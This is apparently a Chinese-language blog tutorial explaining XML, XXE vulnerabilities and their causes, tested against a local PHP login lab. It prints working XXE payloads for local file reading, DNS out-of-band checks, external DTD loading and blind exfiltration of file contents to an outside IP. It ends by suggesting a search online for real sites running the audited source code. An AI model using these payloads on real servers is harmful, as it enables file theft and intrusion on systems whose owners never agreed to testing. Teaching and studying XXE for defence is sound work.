本文已参与「新人创作礼」活动,一起开启掘金创作之路。
XML和XXE
首先说一下XML是一种标记语言,他是一种语言那么他和我们的HTML是相似的,后面我们会说一下他们之间的区别,那么XXE又是什么呢,其实XXE他是一种漏洞,那么XXE漏洞其实就是针对我们XML标语语言的漏洞,
XXE漏洞
那么XXE漏洞的产生:其实就是应用程序解析XML输入时,没有禁止外部实体加载,导致了可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,攻击内网网站等危害
XML与HTML区别
XML
XML一开始设计是为了传输和存储数据,其焦点是数据的内容
HTML
HTML一开始设计是用来显示数据的,其焦点是数据显示呈现的外观
区别
HTML是显示数据,而XML是传输信息
提问
当别人问道什么是XML?他和HTML有什么区别?XXE又是什么?导致XXE产生的原因是什么?
1.XML是一种标记语言 类似我们的HTML
2.XML是负责传输信息的 而我们的HTML是负责将数据信息呈现出来,就是显示数据
3.XXE是针对我们XML语言的一种漏洞统称
4.导致XXE漏洞的产生原因是,当应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取,命令执行,内网端口扫描,内网攻击等危害
XML的识别
这是我们的一个源码
他也是php作为后端的
我们通过抓包来判断他的一个解析语言
POST /php_xxe/doLogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/php_xxe/
Cookie: PHPSESSID=narkclr1qqmmdo7cs87knic7p4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
<user><username>admin</username><password>123456</password></user>
抓住某些关键词
应用XML标记语言,
如果你是英语比较不好
通过查看XML多多少少会想到XXE漏洞
这是我们XML标记语言的抓包
我们看看普通的一个登录抓包
普通的xml+HTML的
而我们上面就只有XML
再回顾我们的XXE漏洞产生的原因
就是应用程序在解析传输过来的XML时,没有禁止外部实体的加载,导致漏洞产生,
这个流程是这样的
客户端:XML数据发送
服务端:XML数据接收并解析
问题就出在服务端,如果服务端只要接受到XML数据就解析执行,那么客户端发送恶意的XML数据,服务器也会去解析这个数据,这就导致了漏洞的产生
怎么利用XXE
我们就可以把我们传输给服务端的数据改成恶意执行XML,当服务器端去解析我们的XML就会执行我们的恶意XML了
XXE实现
XXE文件读取
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
通过file协议读取
XML版本是1.0
我们来实现这个漏洞
抓包
然后把我们的XML执行代码替换上去
带外测试
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
带外测试用到一个网站
点击这个获取一个地址
y4a5jj.dnslog.cn
然后套我们上面的模板
替换到这里
然后发送数据包
那么更改我们换了一个地址
可以了
就说明他执行了我们的恶意执行代码
外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
evil2.dtd文件
<!ENTITY send SYSTEM "file:///d:/e.txt">
无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
不同的语言用不同的协议
白盒审计
我们用到了seay源码审计系统
在代码审计中
可以用搜索关键字的方式来查找代码中的漏洞
那么我们这次审计的针对XML的代码
所有我们要找到的XML的代码的关键词
而XML代码的漏洞的原因是因为解析了恶意xml代码
所有我们要找到关键词就是
数据
发数据
接收数据
和XML解析函数
等这些关键词
那么我们找到了函数是
存在我们源码中的
我们来分析一下
那么我们通过全局搜索
去搜索这个函数
搜索到三处地方
我们一个一个看看
找到了特殊的字样
那么这个函数是包含中
pe_getxml这个定义函数在的
那么这个又是什么东西呢
$xml = file_get_contents("php://input");
意思就是如果有数据发送到服务端,那么服务端就会通过file_get_contents(php://input)去获取数据流
获取到的数据量信息就赋值给变量xml
基本判断完了这个是什么意思
下面我就全局搜索定义函数
看看这个定义函数在哪里被调用了
发现两个调用的地方
那么这里是调用了这个函数然后给另一个定义函数
就是说
调用了wechat_getxml这个函数
就是调用了
pe_getxml这个函数
好那么我们继续全局搜索wechat_getxml
最后就找到了他最终要执行的代码
好那么我们就找到这个文件的路径
然后我们去网上找有没有人使用这个源码的
然后尝试漏洞挖掘